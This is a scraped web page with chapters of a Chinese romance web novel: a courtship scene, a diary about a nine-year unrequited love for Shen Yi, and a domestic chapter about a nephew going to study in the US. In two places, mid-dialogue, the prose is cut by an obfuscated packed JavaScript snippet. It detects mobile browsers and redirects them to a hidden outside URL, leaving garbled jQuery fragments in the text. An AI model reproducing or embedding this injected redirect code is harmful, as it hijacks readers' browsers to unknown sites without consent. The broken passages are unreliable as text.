贺程风指了指另一栋楼,“那个科技楼后面好像有个小卖部,猜错了你给我买支冰淇淋,猜对了我给你买。” “就这个?” “对,而且要最难吃的那种。” “为什么……”刘语潇看他一眼,“好吧,无所谓了。” 准备好之后,贺程风把手藏在身后,然后偷偷拿出多一枚提前藏好的硬币握在另一边掌心里。 “左手?” 贺程风伸出左手,刘语潇苦着脸,“我应该高兴还是不高兴?” “语潇。” 这人忽然认真起来叫她的名字,刘语潇回过神,听见他说:“我会给你买最难吃的冰淇淋的。” “干嘛?” “但是就只是今天。”他回过头,“如果你以后想到南城,想到这所学校,就记得这支冰淇淋就好了。” 刘语潇眼神闪烁,“贺程风……” “我懦弱过几年,之前跟着我爸在财政局,今年年初才重新往这边考,然后见到你,希望不会太晚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389928|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 他神色严肃,刘语潇不知道怎么接话,贺程风立刻又换回从前那副不正经模样,“你这副表情什么意思,我先说我可一点儿没靠我爸啊,这种事不能乱讲的。唉,没办法,谁让我从小就擅长考试呢,我……” 刘语潇转身就要往楼下走。 “哎!”贺程风拉住她的袖子,“生气了?” “不是请我吃冰淇淋?” 好吧。 - 日记: 十八岁那年,我陪爸爸去相机店取宣传用的资料。 临到门口时他接到一个电话,于是我首先推开门进去,那是我第一次见到沈翌。 他垂着眼,阳光透过窗棂落在他的发尖、睫毛、鼻侧。 门边的铃铛一声轻响,他看向我,然后对我说:“你好。” 爸爸邀请他和我们一起去吃饭,期间我一直在默默观察他。不同于我从前认识的那些异性,他似乎不爱说话,提及感兴趣的话题时也并不会侃侃而谈,但偶尔我能从他的眼睛里捕捉到瞬间的不一样。 回家后我和爸爸打听他,爸爸说他为新项目拍照,并且是挺有学问的一个孩子。 而后听说他去了旧金山。 于是我放弃了国内的学校,拜托爸爸帮我联系了一所国外的大学。 那一年里我认真学习英语,钻研专业内的知识,终于顺利拿到了offer,有机会和他在同一片天空下生活。 他是个很好的人,会陪我逛家具店,嘱咐我一个人在国外注意安全。也会因为我的恳求,就答应我参加我的毕业舞会。 我曾经在旧金山的海岸线边沿着路灯与他并肩走了好远,也曾在纽约的跨年浪潮中隔着凌乱的亮片望向过他的眼睛,也曾在TGIFridays中与他和好友共同举杯,存着坏心思没有回应朋友的调侃。 却听见他确切否认说,我们只是朋友。 纽约表白被拒绝以后,我和他们一起回到了旧金山,又一个人拎着箱子去西雅图旅行。 那天夜里的星星很亮很亮,我忽然想起来几年前爸爸问我会不会后悔,那时候我年纪很小,以为喜欢上一个人就是多么要命的一件事,坚定的和他说我不会。 时至今日,其实我依旧不会后悔。 仔细想想,这几年来他并没有给我任何似是而非的幻想。而我那些年轻时候的暗恋,说到底也是由于我自己进行了选择性的忽略。 那些同行几乎都是我与他的好友相邀,那些嘱咐也是因为我初到美国后父亲拜托他对我的照顾。 十八岁时,他回老家去拿出国的资料,我自作主张去相机店给他的师父送饭,遇见了他的另一位好友。 那个人和我描述了他高中时喜欢过的人的样子。 于是往后几年我模仿着那个我从未见过的人,放弃了喜欢的短裙和高跟,我自己都觉得我不像我了。 四年前我从旧金山回国,他还是那么周到,拎着我的箱子送我到机场。 我没忍住抱着他哭,忘了过了多久,时间或短或长,他推开我,和我说抱歉。 九年。 想起来都觉得恍若隔世。 那年我推开相机店的门,看见金黄色的阳光落在你的头顶,我以为我们有可能的。 还是错过了。 不对。 你根本没有喜欢过我,是我终于结束了我可悲的暗恋。 沈翌,是我不爱你了。 1999年11月1日 - 54. 一点日常 沈翌接过徐清旖从外面买回来的东西,等着她换好鞋才一起往里走。 “今天这么早?”他问。 徐清旖本来在洗手,耳环实在不舒服,于是对着镜子就直接开始摘,嘴里还不忘回答沈翌的话:“别提了,逛一半知一接了电话说要回家。” “怎么了?” “她那个侄子。”徐清旖走过来坐在餐桌旁边,从刚提的袋子里端出两碗汤,“尝尝?楼下新开的店,也不知道好不好喝。” 沈翌拆开勺子抿了一口,“还不错,她侄子是叫……” “林周。” “对,他怎么了?”沈翌又尝了一口,然后抬起头看她,他常对徐清旖生活里发生的这些小事感兴趣。 “具体发生了什么我也不清楚,但我记得那孩子很,叛逆?应该可以这样形容。”她一边新拆一碗,一边叹气,“我们以前读初高中那会儿多听话啊,不像他现在……知一说这孩子性子野,在学校老是弄出点什么动静来,今天好像也是接的老师的电话吧。” 沈翌笑了笑,眼睛微微眯起来,他长这么大少接触这种性格张扬的人,于是又问她:“后天养成的性格?” “可能是没人管吧。”徐清旖托着脸看他发呆,想到下午林知一匆匆离开的样子,“知一说她姐姐她们太忙了,这个侄子几乎是她妈妈养大的,老人太宠爱孩子,不知道什么时候就变成这样了。” “说起来……”她又叹了一口气,“他父母好像想把他送到美国去。” 触及到熟悉的词,沈翌接过话,问道:“美国?” “对啊,不过还在考虑,大概是在考虑去旧金山还是纽约吧。” “多大年纪?” 徐清旖知道他是想起来当年他一个人在美国的生活了,仔细想了想,“年纪不大,可能十五六岁吧。” “太小了。”沈翌把勺子放回碗里,“学什么呢?” “现在好像说是学艺术。”她说:“不过据说他从小全世界到处跑,会说好几种语言呢,在语言上面还是比较有天赋的。” 徐清旖想了想,记起来林知一的玩笑话,“知一说实在不行就送去除了法国之外的地方学法语,那么难,至少能消停一段时间。” 沈翌从那句“从小全世界到处跑”便意识到现在的时代和当年已经大有不同,更何况是这样条件的小孩,大概率就算是去美国留学,随行的人都不止一个。 徐清旖低着头在手机上回复消息,林知一的视频打了过来。电话里她揉着眉心,看起来疲惫极了。 “你已经回家了吗?”她问。 “回来了。”徐清旖把手机转过来对着沈翌,开口道:“看,正在吃东西的沈老师。” “知一。”沈翌和她打了声招呼。 “嗨,你出差都回来了?”林知一说:“肖珩那天说想采访你,你什么时候留个空呗。” “行,到时候他给我打电话就行。” 徐清旖又把手机转了回来,正准备开口,听见电话那头传来一个似乎很窝火的声音,“还多久啊?” “站好!”林知一喊了一声,又回过头来和徐清旖说话,“那小屁孩儿,我在罚他站呢。” 徐清旖没忍住想笑,林知一说:“下次再逛,今天也太可惜了,那双鞋子我可想买了。” “好啊,其实那条蓝色的裙子我也很喜欢,但还要一点考虑时间。” “那就明天去。” 林知一话音刚落,林周的声音又传来了,“你不是说明天给我买乐高吗?” “乐高?都要被你气死了还买乐高,想去吧。”林知一白了他一眼,又看着他蹭过来大概是要说些好话,啊不,恭维话,于是对着他没好气地说:“和你徐阿姨问好。” “什么徐阿姨?”林周把刚才那一眼给她白回去,然后才对着视频里的徐清旖卖乖道:“徐姐姐好~” 林知一瞪大眼睛,假意摸了摸胳膊上的鸡皮疙瘩,惊恐万分,“干嘛呢林周?” 电话这头的徐清旖却表示很受用,抿着嘴笑着回应:“你好,你好。” 沈翌看着她满足的样子,失笑道:“原来喜欢被叫姐姐啊。” 徐清旖瞥他一眼,脑子一转,似乎有个灯泡亮了起来,对着那边的林周说:“叫一声翌哥哥,让他给你买乐高。” “啊?”这下轮到林周呆住了,他似乎根本没想到还有这茬。 林知一在沙发上笑到不能自已,跟着徐清旖一起拱火,“快喊啊,让你翌哥哥给你买。” 林周说不出话了,沈翌倒是神色如常,还拿了张纸巾擦擦手,十分淡定,“我买。” “谢谢哥!”林周反应特快,然后才记起来什么一样,凑到林知一跟前偷偷问:“这是?” “你徐姐姐的老公,还是……”她说:“还是你小姨夫的好朋友,沈翌,你记得吗?” 林周不喊肖珩小姨夫,他说因为他俩关系太好,喊着有距离感。听见这个称呼,林周首先默默吐槽一句,然后才回忆起一次吃饭时肖珩随口提过的名字。 他记忆力好,经林知一一提醒,当时的记忆全部涌了上来。什么独自漂洋过海,辗转世界数国,最终回到祖国不过几年,就又辞去了原本的高薪工作,书包一背跑出国去留学了。 两个字形容:洒脱。 特洒脱一人。 “哥!哥!你就是我亲哥!”林周从林知一手上夺过手机,絮絮叨叨地问了一些乱七八糟的问题。 等到终于拿回来电话,徐清旖和林知一约了个明天逛街的时间,然后就挂断了视频。 “多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16389929|184237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 受小孩儿喜欢啊。”徐清旖凑到沈翌跟前。 沈翌抿着唇看他,“我不喜欢小孩子。” 反应过来,徐清旖愣了愣,顿了两秒才说:“我的意思是你喜欢的话,我们可以去领养一个。” 曾经徐清旖失去孩子时的样子仿佛还在眼前,沈翌一点也不想去回忆,握住她的手道:“我们两个人,还有它们,足够了。” “它们”指的是正睡着的那两只小狗和一只小猫,前两年他们从多伦多搬回来的时候全都带回来了。 “好。”徐清旖抱住沈翌,把脸埋在他怀里,换了个话题,“那款乐高贵吗?” “开心就好。” “其实他挺可爱的。” 沈翌回想了一下刚刚的通话内容,“他知道自己要去美国了。” “他刚说的吗?” “嗯。”沈翌和她在沙发上坐下,“他好像挺期待的。” “期待就好,有期待才会有开心。” “对,估计想去加州。” 沈翌话音刚落,徐清旖的手机就收到了一条信息,是林知一发过来的。 【知一:臭小子说想去纽约。】 徐清旖疑惑地举着手机,回过头和沈翌对视一眼。 【知一:我不会让他如愿的,我决定了我要让我姐送他去旧金山。】 沈翌扬了扬眉,没忍住和徐清旖一起笑出声来。 “他还蛮了解他这个小姨的。”徐清旖说。 “他自己的事就不干涉了吧。”沈翌伸手摁灭她的手机,点评着说:“很有想法的小孩,十七岁,好年纪。” 徐清旖啧了一声,感叹道:“十七岁,真年轻啊。” “出去闯一闯也是好事。” “怎么感觉你……”徐清旖坐起来看他,终于想起来一个词,“说话老气横秋的。” “这叫年纪到了,我感叹着呢。” “感叹什么?” “感叹儿孙自有儿孙福。” “好吧。” “好吧?” 徐清旖得意洋洋,“我这也是感叹。” 沈翌依言回应,“感叹什么?” “感叹你好像确实说话老气横秋的。” 沈翌仰着头枕在沙发靠背上,嘴边还带着笑,耍赖似的道:“那就老气横秋吧。” “别呀,这就认输了?” “年轻人,准备出门。” “啊?去哪儿?” “买乐高。”沈翌忽然问:“你们今天去的哪个商场?” “西街新开的那个。” “那就去那个。” 徐清旖猜到了什么,“干嘛?” 沈翌歪了歪头,“我听见那里有一条裙子在召唤你。” 好吧,又出门了。